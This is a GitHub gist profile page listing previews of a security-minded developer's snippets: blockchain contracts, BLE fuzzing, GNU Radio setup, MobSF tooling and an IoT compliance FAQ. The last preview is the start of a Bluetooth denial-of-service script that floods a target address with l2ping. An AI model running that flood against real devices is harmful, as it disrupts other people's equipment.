Skip to content

Instantly share code, notes, and snippets.

View PaulGG-Code's full-sized avatar
:octocat:
[CODE 200] Innovations >> Blockchain is my house, I have to defend it.

0xGedeon PaulGG-Code

:octocat:
[CODE 200] Innovations >> Blockchain is my house, I have to defend it.
View GitHub Profile

nof1.ai Alpha Arena 提示词工程逆向分析

逆向工程说明: 本文档基于 nof1.ai Alpha Arena 的公开文档、交易行为模式、API 响应格式和社区讨论,系统性地逆向推导出其 System Prompt 和 User Prompt 的完整结构,欢迎各路大佬戳戳评论,一起来进行这个有趣的实验。

GitHub - nof0 Follow @wquguru

目录

🌍 General platform capabilities

  1. Which IoT cybersecurity standards and regulations do you currently support (e.g., RED, EN 303 645, EN 18031, US Cyber Trust Mark, NISTIR 8259 series)?
  • CyberPass currently supports RED Directive cybersecurity requirements, ETSI EN 303 645, US Cyber Trust Mark preparation, and offers mapping capabilities for NISTIR 8259 series. EN 18031 fully integrated. And IEC 62443 is planned or in progress but not fully integrated yet.
  1. Do you support upcoming regulations like the EU Cyber Resilience Act (CRA)?
  • CyberPass is actively preparing to support CRA requirements. Full workflows and certification modules are not yet public or finalized, but will be integrated progressively.
  1. Can your platform handle multiple markets (EU, US, Asia) in parallel, and provide region-specific guidance?
  • Yes, CyberPass allows you to manage compliance for multiple markets in parallel and select relevant standards per region, with tailored workflows and guidance where available.
  1. How ofte
@PaulGG-Code
PaulGG-Code / 01_deployContracts.js
Created July 17, 2025 21:42 — forked from BlockmanCodes/01_deployContracts.js
Uniswap V3: Deploy contracts locally - updated may 2023
const { ContractFactory, utils } = require("ethers")
const WETH9 = require("../WETH9.json")
const fs = require('fs');
const { promisify } = require('util');
const artifacts = {
UniswapV3Factory: require("@uniswap/v3-core/artifacts/contracts/UniswapV3Factory.sol/UniswapV3Factory.json"),
SwapRouter: require("@uniswap/v3-periphery/artifacts/contracts/SwapRouter.sol/SwapRouter.json"),
NFTDescriptor: require("@uniswap/v3-periphery/artifacts/contracts/libraries/NFTDescriptor.sol/NFTDescriptor.json"),
@PaulGG-Code
PaulGG-Code / faucet-hybrid.sol
Created July 14, 2025 19:42
Faucet for ether and erc20 token
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.8.0/contracts/token/ERC20/IERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.8.0/contracts/security/ReentrancyGuard.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.8.0/contracts/access/Ownable.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.8.0/contracts/security/Pausable.sol";
/**
@PaulGG-Code
PaulGG-Code / Thunderble.py
Created June 19, 2025 08:10
Scan, connect, pair, enumerate, fuzz ble tool
import asyncio
import subprocess
import platform
import pexpect
import csv
import os
import datetime
import shutil
from bleak import BleakClient, BleakScanner
from bleak.backends.characteristic import BleakGATTCharacteristic
@PaulGG-Code
PaulGG-Code / README.md
Created February 4, 2025 00:16 — forked from disler/README.md
Use these Prompt Chains to build HIGH QUALITY AI Agents (Agentic Building Blocks)

Setup

  1. Create a new directory with these three files (requirements.txt, main.py, README.md)
  2. python -m venv venv
  3. source venv/bin/activate
  4. pip install -r requirements.txt
  5. python main.py
  6. Update main() to run the example prompt chains
@PaulGG-Code
PaulGG-Code / install_gnuradio_versions.sh
Last active November 4, 2024 21:06
Installing gnu-radio 3.7 and 3.10 together
# source ~/activate_gnuradio37.sh for GNU Radio 3.7
# source ~/activate_gnuradio310.sh for GNU Radio 3.10
import os
# Define paths
source_dir = os.path.expanduser("~/gnuradio_sources/gnuradio")
build_dir_37 = os.path.expanduser("~/gnuradio_build/3.7")
build_dir_310 = os.path.expanduser("~/gnuradio_build/3.10")
install_dir_37 = os.path.expanduser("~/gnuradio_install/3.7")
@PaulGG-Code
PaulGG-Code / full-automated-installation-apps.ps1
Last active June 9, 2024 21:12
Automatically installing the needed tools
# Ensure the script execution policy allows running scripts
Set-ExecutionPolicy RemoteSigned -Scope Process -Force
# Check for administrative privileges
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
{
# Relaunch the script with elevated privileges
$arguments = "-NoProfile -ExecutionPolicy Bypass -File ""$PSCommandPath"""
Start-Process PowerShell -Verb RunAs -ArgumentList $arguments
exit
@PaulGG-Code
PaulGG-Code / mobsfGPT.py
Created February 3, 2024 15:39
GPT Concept used with MobSF
import json
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
from openai import OpenAI
import fitz # PyMuPDF
# MobSF settings
SERVER = "http://127.0.0.1:8000"
FILE = 'YOU_APK.apk'
MOBSF_APIKEY = 'PUT YOUR MOBSF_APIKEY HERE'
import os
import threading
import time
import subprocess
def DOS(target_addr, packages_size):
os.system('l2ping -i hci0 -s ' + str(packages_size) + ' -f ' + target_addr)
def printLogo():
print('\x1b[37;36m')